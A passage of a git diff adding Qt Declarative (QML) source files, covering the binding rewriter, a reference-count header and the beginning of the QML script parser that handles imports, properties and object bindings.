+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEREFCOUNT_P_H
+#define QDECLARATIVEREFCOUNT_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_DECLARATIVE_EXPORT QDeclarativeRefCount
+{
+public:
+ QDeclarativeRefCount();
+ virtual ~QDeclarativeRefCount();
+ void addref();
+ void release();
+
+private:
+ int refCount;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEREFCOUNT_P_H
diff --git a/src/declarative/qml/qdeclarativerewrite.cpp b/src/declarative/qml/qdeclarativerewrite.cpp
new file mode 100644
index 00000000..ef104115
--- /dev/null
+++ b/src/declarative/qml/qdeclarativerewrite.cpp
@@ -0,0 +1,273 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativerewrite_p.h"
+
+#include "private/qdeclarativeglobal_p.h"
+
+#include <QtCore/qdebug.h>
+
+QT_BEGIN_NAMESPACE
+
+DEFINE_BOOL_CONFIG_OPTION(rewriteDump, QML_REWRITE_DUMP);
+
+namespace QDeclarativeRewrite {
+
+bool SharedBindingTester::isSharable(const QString &code)
+{
+ Engine engine;
+ NodePool pool(QString(), &engine);
+ Lexer lexer(&engine);
+ Parser parser(&engine);
+ lexer.setCode(code, 0);
+ parser.parseStatement();
+ if (!parser.statement())
+ return false;
+
+ return isSharable(parser.statement());
+}
+
+bool SharedBindingTester::isSharable(AST::Node *node)
+{
+ _sharable = true;
+ AST::Node::acceptChild(node, this);
+ return _sharable;
+}
+
+QString RewriteBinding::operator()(const QString &code, bool *ok, bool *sharable)
+{
+ Engine engine;
+ NodePool pool(QString(), &engine);
+ Lexer lexer(&engine);
+ Parser parser(&engine);
+ lexer.setCode(code, 0);
+ parser.parseStatement();
+ if (!parser.statement()) {
+ if (ok) *ok = false;
+ return QString();
+ } else {
+ if (ok) *ok = true;
+ if (sharable) {
+ SharedBindingTester tester;
+ *sharable = tester.isSharable(parser.statement());
+ }
+ }
+ return rewrite(code, 0, parser.statement());
+}
+
+QString RewriteBinding::operator()(QDeclarativeJS::AST::Node *node, const QString &code, bool *sharable)
+{
+ if (!node)
+ return code;
+
+ if (sharable) {
+ SharedBindingTester tester;
+ *sharable = tester.isSharable(node);
+ }
+
+ QDeclarativeJS::AST::ExpressionNode *expression = node->expressionCast();
+ QDeclarativeJS::AST::Statement *statement = node->statementCast();
+ if(!expression && !statement)
+ return code;
+
+ TextWriter w;
+ _writer = &w;
+ _position = expression ? expression->firstSourceLocation().begin() : statement->firstSourceLocation().begin();
+ _inLoop = 0;
+
+ accept(node);
+
+ unsigned startOfStatement = 0;
+ unsigned endOfStatement = (expression ? expression->lastSourceLocation().end() : statement->lastSourceLocation().end()) - _position;
+
+ QString startString = QLatin1String("(function ") + QString::fromUtf8(_name) + QLatin1String("() { ");
+ if (expression)
+ startString += QLatin1String("return ");
+ _writer->replace(startOfStatement, 0, startString);
+ _writer->replace(endOfStatement, 0, QLatin1String(" })"));
+
+ if (rewriteDump()) {
+ qWarning() << "=============================================================";
+ qWarning() << "Rewrote:";
+ qWarning() << qPrintable(code);
+ }
+
+ QString codeCopy = code;
+ w.write(&codeCopy);
+
+ if (rewriteDump()) {
+ qWarning() << "To:";
+ qWarning() << qPrintable(code);
+ qWarning() << "=============================================================";
+ }
+
+ return codeCopy;
+}
+
+void RewriteBinding::accept(AST::Node *node)
+{
+ AST::Node::acceptChild(node, this);
+}
+
+QString RewriteBinding::rewrite(QString code, unsigned position,
+ AST::Statement *node)
+{
+ TextWriter w;
+ _writer = &w;
+ _position = position;
+ _inLoop = 0;
+
+ accept(node);
+
+ unsigned startOfStatement = node->firstSourceLocation().begin() - _position;
+ unsigned endOfStatement = node->lastSourceLocation().end() - _position;
+
+ _writer->replace(startOfStatement, 0, QLatin1String("(function ") + QString::fromUtf8(_name) + QLatin1String("() { "));
+ _writer->replace(endOfStatement, 0, QLatin1String(" })"));
+
+ if (rewriteDump()) {
+ qWarning() << "=============================================================";
+ qWarning() << "Rewrote:";
+ qWarning() << qPrintable(code);
+ }
+
+ w.write(&code);
+
+ if (rewriteDump()) {
+ qWarning() << "To:";
+ qWarning() << qPrintable(code);
+ qWarning() << "=============================================================";
+ }
+
+ return code;
+}
+
+bool RewriteBinding::visit(AST::Block *ast)
+{
+ for (AST::StatementList *it = ast->statements; it; it = it->next) {
+ if (! it->next) {
+ // we need to rewrite only the last statement of a block.
+ accept(it->statement);
+ }
+ }
+
+ return false;
+}
+
+bool RewriteBinding::visit(AST::ExpressionStatement *ast)
+{
+ if (! _inLoop) {
+ unsigned startOfExpressionStatement = ast->firstSourceLocation().begin() - _position;
+ _writer->replace(startOfExpressionStatement, 0, QLatin1String("return "));
+ }
+
+ return false;
+}
+
+bool RewriteBinding::visit(AST::DoWhileStatement *)
+{
+ ++_inLoop;
+ return true;
+}
+
+void RewriteBinding::endVisit(AST::DoWhileStatement *)
+{
+ --_inLoop;
+}
+
+bool RewriteBinding::visit(AST::WhileStatement *)
+{
+ ++_inLoop;
+ return true;
+}
+
+void RewriteBinding::endVisit(AST::WhileStatement *)
+{
+ --_inLoop;
+}
+
+bool RewriteBinding::visit(AST::ForStatement *)
+{
+ ++_inLoop;
+ return true;
+}
+
+void RewriteBinding::endVisit(AST::ForStatement *)
+{
+ --_inLoop;
+}
+
+bool RewriteBinding::visit(AST::LocalForStatement *)
+{
+ ++_inLoop;
+ return true;
+}
+
+void RewriteBinding::endVisit(AST::LocalForStatement *)
+{
+ --_inLoop;
+}
+
+bool RewriteBinding::visit(AST::ForEachStatement *)
+{
+ ++_inLoop;
+ return true;
+}
+
+void RewriteBinding::endVisit(AST::ForEachStatement *)
+{
+ --_inLoop;
+}
+
+bool RewriteBinding::visit(AST::LocalForEachStatement *)
+{
+ ++_inLoop;
+ return true;
+}
+
+void RewriteBinding::endVisit(AST::LocalForEachStatement *)
+{
+ --_inLoop;
+}
+
+} // namespace QDeclarativeRewrite
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativerewrite_p.h b/src/declarative/qml/qdeclarativerewrite_p.h
new file mode 100644
index 00000000..76efb584
--- /dev/null
+++ b/src/declarative/qml/qdeclarativerewrite_p.h
@@ -0,0 +1,127 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEREWRITE_P_H
+#define QDECLARATIVEREWRITE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "rewriter/textwriter_p.h"
+#include "parser/qdeclarativejslexer_p.h"
+#include "parser/qdeclarativejsparser_p.h"
+#include "parser/qdeclarativejsnodepool_p.h"
+
+QT_BEGIN_NAMESPACE
+
+namespace QDeclarativeRewrite {
+using namespace QDeclarativeJS;
+
+class SharedBindingTester : protected AST::Visitor
+{
+ bool _sharable;
+public:
+ bool isSharable(const QString &code);
+ bool isSharable(AST::Node *Node);
+
+ virtual bool visit(AST::FunctionDeclaration *) { _sharable = false; return false; }
+ virtual bool visit(AST::FunctionExpression *) { _sharable = false; return false; }
+ virtual bool visit(AST::CallExpression *) { _sharable = false; return false; }
+};
+
+class RewriteBinding: protected AST::Visitor
+{
+ unsigned _position;
+ TextWriter *_writer;
+ QByteArray _name;
+
+public:
+ QString operator()(const QString &code, bool *ok = 0, bool *sharable = 0);
+ QString operator()(QDeclarativeJS::AST::Node *node, const QString &code, bool *sharable = 0);
+
+ //name of the function: used for the debugger
+ void setName(const QByteArray &name) { _name = name; }
+
+protected:
+ using AST::Visitor::visit;
+
+ void accept(AST::Node *node);
+ QString rewrite(QString code, unsigned position, AST::Statement *node);
+
+ virtual bool visit(AST::Block *ast);
+ virtual bool visit(AST::ExpressionStatement *ast);
+
+ virtual bool visit(AST::DoWhileStatement *ast);
+ virtual void endVisit(AST::DoWhileStatement *ast);
+
+ virtual bool visit(AST::WhileStatement *ast);
+ virtual void endVisit(AST::WhileStatement *ast);
+
+ virtual bool visit(AST::ForStatement *ast);
+ virtual void endVisit(AST::ForStatement *ast);
+
+ virtual bool visit(AST::LocalForStatement *ast);
+ virtual void endVisit(AST::LocalForStatement *ast);
+
+ virtual bool visit(AST::ForEachStatement *ast);
+ virtual void endVisit(AST::ForEachStatement *ast);
+
+ virtual bool visit(AST::LocalForEachStatement *ast);
+ virtual void endVisit(AST::LocalForEachStatement *ast);
+
+private:
+ int _inLoop;
+};
+
+} // namespace QDeclarativeRewrite
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEREWRITE_P_H
+
diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp
new file mode 100644
index 00000000..373842cd
--- /dev/null
+++ b/src/declarative/qml/qdeclarativescriptparser.cpp
@@ -0,0 +1,1206 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativescriptparser_p.h"
+
+#include "private/qdeclarativeparser_p.h"
+#include "parser/qdeclarativejsengine_p.h"
+#include "parser/qdeclarativejsparser_p.h"
+#include "parser/qdeclarativejslexer_p.h"
+#include "parser/qdeclarativejsnodepool_p.h"
+#include "parser/qdeclarativejsastvisitor_p.h"
+#include "parser/qdeclarativejsast_p.h"
+#include "private/qdeclarativerewrite_p.h"
+
+#include <QStack>
+#include <QCoreApplication>
+#include <QtDebug>
+
+QT_BEGIN_NAMESPACE
+
+using namespace QDeclarativeJS;
+using namespace QDeclarativeParser;
+
+namespace {
+
+class ProcessAST: protected AST::Visitor
+{
+ struct State {
+ State() : object(0), property(0) {}
+ State(QDeclarativeParser::Object *o) : object(o), property(0) {}
+ State(QDeclarativeParser::Object *o, Property *p) : object(o), property(p) {}
+
+ QDeclarativeParser::Object *object;
+ Property *property;
+ };
+
+ struct StateStack : public QStack<State>
+ {
+ void pushObject(QDeclarativeParser::Object *obj)
+ {
+ push(State(obj));
+ }
+
+ void pushProperty(const QString &name, const LocationSpan &location)
+ {
+ const State &state = top();
+ if (state.property) {
+ State s(state.property->getValue(location),
+ state.property->getValue(location)->getProperty(name.toUtf8()));
+ s.property->location = location;
+ push(s);
+ } else {
+ State s(state.object,
+ state.object->getProperty(name.toUtf8()));
+
+ s.property->location = location;
+ push(s);
+ }
+ }
+ };
+
+public:
+ ProcessAST(QDeclarativeScriptParser *parser);
+ virtual ~ProcessAST();
+
+ void operator()(const QString &code, AST::Node *node);
+
+protected:
+
+ QDeclarativeParser::Object *defineObjectBinding(AST::UiQualifiedId *propertyName, bool onAssignment,
+ const QString &objectType,
+ AST::SourceLocation typeLocation,
+ LocationSpan location,
+ AST::UiObjectInitializer *initializer = 0);
+
+ QDeclarativeParser::Variant getVariant(AST::ExpressionNode *expr);
+
+ LocationSpan location(AST::SourceLocation start, AST::SourceLocation end);
+ LocationSpan location(AST::UiQualifiedId *);
+
+ using AST::Visitor::visit;
+ using AST::Visitor::endVisit;
+
+ virtual bool visit(AST::UiProgram *node);
+ virtual bool visit(AST::UiImport *node);
+ virtual bool visit(AST::UiObjectDefinition *node);
+ virtual bool visit(AST::UiPublicMember *node);
+ virtual bool visit(AST::UiObjectBinding *node);
+
+ virtual bool visit(AST::UiScriptBinding *node);
+ virtual bool visit(AST::UiArrayBinding *node);
+ virtual bool visit(AST::UiSourceElement *node);
+
+ void accept(AST::Node *node);
+
+ QString asString(AST::UiQualifiedId *node) const;
+
+ const State state() const;
+ QDeclarativeParser::Object *currentObject() const;
+ Property *currentProperty() const;
+
+ QString qualifiedNameId() const;
+
+ QString textAt(const AST::SourceLocation &loc) const
+ { return _contents.mid(loc.offset, loc.length); }
+
+
+ QString textAt(const AST::SourceLocation &first,
+ const AST::SourceLocation &last) const
+ { return _contents.mid(first.offset, last.offset + last.length - first.offset); }
+
+ QString asString(AST::ExpressionNode *expr)
+ {
+ if (! expr)
+ return QString();
+
+ return textAt(expr->firstSourceLocation(), expr->lastSourceLocation());
+ }
+
+ QString asString(AST::Statement *stmt)
+ {
+ if (! stmt)
+ return QString();
+
+ QString s = textAt(stmt->firstSourceLocation(), stmt->lastSourceLocation());
+ s += QLatin1Char('\n');
+ return s;
+ }
+
+private:
+ QDeclarativeScriptParser *_parser;
+ StateStack _stateStack;
+ QStringList _scope;
+ QString _contents;
+};
+
+ProcessAST::ProcessAST(QDeclarativeScriptParser *parser)
+ : _parser(parser)
+{
+}
+
+ProcessAST::~ProcessAST()
+{
+}
+
+void ProcessAST::operator()(const QString &code, AST::Node *node)
+{
+ _contents = code;
+ accept(node);
+}
+
+void ProcessAST::accept(AST::Node *node)
+{
+ AST::Node::acceptChild(node, this);
+}
+
+const ProcessAST::State ProcessAST::state() const
+{
+ if (_stateStack.isEmpty())
+ return State();
+
+ return _stateStack.back();
+}
+
+QDeclarativeParser::Object *ProcessAST::currentObject() const
+{
+ return state().object;
+}
+
+Property *ProcessAST::currentProperty() const
+{
+ return state().property;
+}
+
+QString ProcessAST::qualifiedNameId() const
+{
+ return _scope.join(QLatin1String("/"));
+}
+
+QString ProcessAST::asString(AST::UiQualifiedId *node) const
+{
+ QString s;
+
+ for (AST::UiQualifiedId *it = node; it; it = it->next) {
+ s.append(it->name->asString());
+
+ if (it->next)
+ s.append(QLatin1Char('.'));
+ }
+
+ return s;
+}
+
+QDeclarativeParser::Object *
+ProcessAST::defineObjectBinding(AST::UiQualifiedId *propertyName,
+ bool onAssignment,
+ const QString &objectType,
+ AST::SourceLocation typeLocation,
+ LocationSpan location,
+ AST::UiObjectInitializer *initializer)
+{
+ int lastTypeDot = objectType.lastIndexOf(QLatin1Char('.'));
+ bool isType = !objectType.isEmpty() &&
+ (objectType.at(0).isUpper() ||
+ (lastTypeDot >= 0 && objectType.at(lastTypeDot+1).isUpper()));
+
+ int propertyCount = 0;
+ for (AST::UiQualifiedId *name = propertyName; name; name = name->next){
+ ++propertyCount;
+ _stateStack.pushProperty(name->name->asString(),
+ this->location(name));
+ }
+
+ if (!onAssignment && propertyCount && currentProperty() && currentProperty()->values.count()) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Property value set multiple times"));
+ error.setLine(this->location(propertyName).start.line);
+ error.setColumn(this->location(propertyName).start.column);
+ _parser->_errors << error;
+ return 0;
+ }
+
+ if (!isType) {
+
+ if(propertyCount || !currentObject()) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Expected type name"));
+ error.setLine(typeLocation.startLine);
+ error.setColumn(typeLocation.startColumn);
+ _parser->_errors << error;
+ return 0;
+ }
+
+ LocationSpan loc = ProcessAST::location(typeLocation, typeLocation);
+ if (propertyName)
+ loc = ProcessAST::location(propertyName);
+
+ _stateStack.pushProperty(objectType, loc);
+ accept(initializer);
+ _stateStack.pop();
+
+ return 0;
+
+ } else {
+ // Class
+
+ QString resolvableObjectType = objectType;
+ if (lastTypeDot >= 0)
+ resolvableObjectType.replace(QLatin1Char('.'),QLatin1Char('/'));
+
+ QDeclarativeParser::Object *obj = new QDeclarativeParser::Object;
+
+ QDeclarativeScriptParser::TypeReference *typeRef = _parser->findOrCreateType(resolvableObjectType);
+ obj->type = typeRef->id;
+
+ typeRef->refObjects.append(obj);
+
+ // XXX this doesn't do anything (_scope never builds up)
+ _scope.append(resolvableObjectType);
+ obj->typeName = qualifiedNameId().toUtf8();
+ _scope.removeLast();
+
+ obj->location = location;
+
+ if (propertyCount) {
+ Property *prop = currentProperty();
+ QDeclarativeParser::Value *v = new QDeclarativeParser::Value;
+ v->object = obj;
+ v->location = obj->location;
+ if (onAssignment)
+ prop->addOnValue(v);
+ else
+ prop->addValue(v);
+
+ while (propertyCount--)
+ _stateStack.pop();
+
+ } else {
+
+ if (! _parser->tree()) {
+ _parser->setTree(obj);
+ } else {
+ const State state = _stateStack.top();
+ QDeclarativeParser::Value *v = new QDeclarativeParser::Value;
+ v->object = obj;
+ v->location = obj->location;
+ if (state.property) {
+ state.property->addValue(v);
+ } else {
+ Property *defaultProp = state.object->getDefaultProperty();
+ if (defaultProp->location.start.line == -1) {
+ defaultProp->location = v->location;
+ defaultProp->location.end = defaultProp->location.start;
+ defaultProp->location.range.length = 0;
+ }
+ defaultProp->addValue(v);
+ }
+ }
+ }
+
+ _stateStack.pushObject(obj);
+ accept(initializer);
+ _stateStack.pop();
+
+ return obj;
+ }
+}
+
+LocationSpan ProcessAST::location(AST::UiQualifiedId *id)
+{
+ return location(id->identifierToken, id->identifierToken);
+}
+
+LocationSpan ProcessAST::location(AST::SourceLocation start, AST::SourceLocation end)
+{
+ LocationSpan rv;
+ rv.start.line = start.startLine;
+ rv.start.column = start.startColumn;
+ rv.end.line = end.startLine;
+ rv.end.column = end.startColumn + end.length - 1;
+ rv.range.offset = start.offset;
+ rv.range.length = end.offset + end.length - start.offset;
+ return rv;
+}
+
+// UiProgram: UiImportListOpt UiObjectMemberList ;
+bool ProcessAST::visit(AST::UiProgram *node)
+{
+ accept(node->imports);
+ accept(node->members->member);
+ return false;
+}
+
+// UiImport: T_IMPORT T_STRING_LITERAL ;
+bool ProcessAST::visit(AST::UiImport *node)
+{
+ QString uri;
+ QDeclarativeScriptParser::Import import;
+
+ if (node->fileName) {
+ uri = node->fileName->asString();
+
+ if (uri.endsWith(QLatin1String(".js"))) {
+ import.type = QDeclarativeScriptParser::Import::Script;
+ } else {
+ import.type = QDeclarativeScriptParser::Import::File;
+ }
+ } else {
+ import.type = QDeclarativeScriptParser::Import::Library;
+ uri = asString(node->importUri);
+ }
+
+ AST::SourceLocation startLoc = node->importToken;
+ AST::SourceLocation endLoc = node->semicolonToken;
+
+ // Qualifier
+ if (node->importId) {
+ import.qualifier = node->importId->asString();
+ if (!import.qualifier.at(0).isUpper()) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Invalid import qualifier ID"));
+ error.setLine(node->importIdToken.startLine);
+ error.setColumn(node->importIdToken.startColumn);
+ _parser->_errors << error;
+ return false;
+ }
+ if (import.qualifier == QLatin1String("Qt")) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Reserved name \"Qt\" cannot be used as an qualifier"));
+ error.setLine(node->importIdToken.startLine);
+ error.setColumn(node->importIdToken.startColumn);
+ _parser->_errors << error;
+ return false;
+ }
+
+ // Check for script qualifier clashes
+ bool isScript = import.type == QDeclarativeScriptParser::Import::Script;
+ for (int ii = 0; ii < _parser->_imports.count(); ++ii) {
+ const QDeclarativeScriptParser::Import &other = _parser->_imports.at(ii);
+ bool otherIsScript = other.type == QDeclarativeScriptParser::Import::Script;
+
+ if ((isScript || otherIsScript) && import.qualifier == other.qualifier) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Script import qualifiers must be unique."));
+ error.setLine(node->importIdToken.startLine);
+ error.setColumn(node->importIdToken.startColumn);
+ _parser->_errors << error;
+ return false;
+ }
+ }
+
+ } else if (import.type == QDeclarativeScriptParser::Import::Script) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Script import requires a qualifier"));
+ error.setLine(node->fileNameToken.startLine);
+ error.setColumn(node->fileNameToken.startColumn);
+ _parser->_errors << error;
+ return false;
+ }
+
+ if (node->versionToken.isValid()) {
+ import.version = textAt(node->versionToken);
+ } else if (import.type == QDeclarativeScriptParser::Import::Library) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Library import requires a version"));
+ error.setLine(node->importIdToken.startLine);
+ error.setColumn(node->importIdToken.startColumn);
+ _parser->_errors << error;
+ return false;
+ }
+
+
+ import.location = location(startLoc, endLoc);
+ import.uri = uri;
+
+ _parser->_imports << import;
+
+ return false;
+}
+
+bool ProcessAST::visit(AST::UiPublicMember *node)
+{
+ const struct TypeNameToType {
+ const char *name;
+ Object::DynamicProperty::Type type;
+ const char *qtName;
+ } propTypeNameToTypes[] = {
+ { "int", Object::DynamicProperty::Int, "int" },
+ { "bool", Object::DynamicProperty::Bool, "bool" },
+ { "double", Object::DynamicProperty::Real, "double" },
+ { "real", Object::DynamicProperty::Real, "qreal" },
+ { "string", Object::DynamicProperty::String, "QString" },
+ { "url", Object::DynamicProperty::Url, "QUrl" },
+ { "color", Object::DynamicProperty::Color, "QColor" },
+ // Internally QTime, QDate and QDateTime are all supported.
+ // To be more consistent with JavaScript we expose only
+ // QDateTime as it matches closely with the Date JS type.
+ // We also call it "date" to match.
+ // { "time", Object::DynamicProperty::Time, "QTime" },
+ // { "date", Object::DynamicProperty::Date, "QDate" },
+ { "date", Object::DynamicProperty::DateTime, "QDateTime" },
+ { "variant", Object::DynamicProperty::Variant, "QVariant" }
+ };
+ const int propTypeNameToTypesCount = sizeof(propTypeNameToTypes) /
+ sizeof(propTypeNameToTypes[0]);
+
+ if(node->type == AST::UiPublicMember::Signal) {
+ const QString name = node->name->asString();
+
+ Object::DynamicSignal signal;
+ signal.name = name.toUtf8();
+
+ AST::UiParameterList *p = node->parameters;
+ while (p) {
+ const QString memberType = p->type->asString();
+ const char *qtType = 0;
+ for(int ii = 0; !qtType && ii < propTypeNameToTypesCount; ++ii) {
+ if(QLatin1String(propTypeNameToTypes[ii].name) == memberType)
+ qtType = propTypeNameToTypes[ii].qtName;
+ }
+
+ if (!qtType) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Expected parameter type"));
+ error.setLine(node->typeToken.startLine);
+ error.setColumn(node->typeToken.startColumn);
+ _parser->_errors << error;
+ return false;
+ }
+
+ signal.parameterTypes << qtType;
+ signal.parameterNames << p->name->asString().toUtf8();
+ p = p->finish();
+ }
+
+ _stateStack.top().object->dynamicSignals << signal;
+ } else {
+ const QString memberType = node->memberType->asString();
+ const QString name = node->name->asString();
+
+ bool typeFound = false;
+ Object::DynamicProperty::Type type;
+
+ if (memberType == QLatin1String("alias")) {
+ type = Object::DynamicProperty::Alias;
+ typeFound = true;
+ }
+
+ for(int ii = 0; !typeFound && ii < propTypeNameToTypesCount; ++ii) {
+ if(QLatin1String(propTypeNameToTypes[ii].name) == memberType) {
+ type = propTypeNameToTypes[ii].type;
+ typeFound = true;
+ }
+ }
+
+ if (!typeFound && memberType.at(0).isUpper()) {
+ QString typemodifier;
+ if(node->typeModifier)
+ typemodifier = node->typeModifier->asString();
+ if (typemodifier.isEmpty()) {
+ type = Object::DynamicProperty::Custom;
+ } else if(typemodifier == QLatin1String("list")) {
+ type = Object::DynamicProperty::CustomList;
+ } else {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Invalid property type modifier"));
+ error.setLine(node->typeModifierToken.startLine);
+ error.setColumn(node->typeModifierToken.startColumn);
+ _parser->_errors << error;
+ return false;
+ }
+ typeFound = true;
+ } else if (node->typeModifier) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Unexpected property type modifier"));
+ error.setLine(node->typeModifierToken.startLine);
+ error.setColumn(node->typeModifierToken.startColumn);
+ _parser->_errors << error;
+ return false;
+ }
+
+ if(!typeFound) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Expected property type"));
+ error.setLine(node->typeToken.startLine);
+ error.setColumn(node->typeToken.startColumn);
+ _parser->_errors << error;
+ return false;
+ }
+
+ if (node->isReadonlyMember) {
+ QDeclarativeError error;
+ error.setDescription(QCoreApplication::translate("QDeclarativeParser","Readonly not yet supported"));
+ error.setLine(node->readonlyToken.startLine);
+ error.setColumn(node->readonlyToken.startColumn);
+ _parser->_errors << error;
+ return false;
+
+ }
+ Object::DynamicProperty property;
+ property.isDefaultProperty = node->isDefaultMember;
+ property.type = type;
+ if (type >= Object::DynamicProperty::Custom) {
+ QDeclarativeScriptParser::TypeReference *typeRef =
+ _parser->findOrCreateType(memberType);
+ typeRef->refObjects.append(_stateStack.top().object);
+ }
+ property.customType = memberType.toUtf8();
+ property.name = name.toUtf8();
+ property.location = location(node->firstSourceLocation(),
+ node->lastSourceLocation());
+
+ if (node->expression) { // default value
+ property.defaultValue = new Property;
+ property.defaultValue->parent = _stateStack.top().object;
+ property.defaultValue->location =
+ location(node->expression->firstSourceLocation(),
+ node->expression->lastSourceLocation());
+ QDeclarativeParser::Value *value = new QDeclarativeParser::Value;
+ value->location = location(node->expression->firstSourceLocation(),
+ node->expression->lastSourceLocation());
+ value->value = getVariant(node->expression);
+ property.defaultValue->values << value;
+ }
+
+ _stateStack.top().object->dynamicProperties << property;
+
+ // process QML-like initializers (e.g. property Object o: Object {})
+ accept(node->binding);
+ }
+
+ return false;
+}
+
+
+// UiObjectMember: UiQualifiedId UiObjectInitializer ;
+bool ProcessAST::visit(AST::UiObjectDefinition *node)
+{
+ LocationSpan l = location(node->firstSourceLocation(),
+ node->lastSourceLocation());
+
+ const QString objectType = asString(node->qualifiedTypeNameId);
+ const AST::SourceLocation typeLocation = node->qualifiedTypeNameId->identifierToken;
+
+ defineObjectBinding(/*propertyName = */ 0, false, objectType,
+ typeLocation, l, node->initializer);
+
+ return false;
+}
+
+
+// UiObjectMember: UiQualifiedId T_COLON UiQualifiedId UiObjectInitializer ;
+bool ProcessAST::visit(AST::UiObjectBinding *node)
+{
+ LocationSpan l = location(node->qualifiedTypeNameId->identifierToken,
+ node->initializer->rbraceToken);
+
+ const QString objectType = asString(node->qualifiedTypeNameId);
+ const AST::SourceLocation typeLocation = node->qualifiedTypeNameId->identifierToken;
+
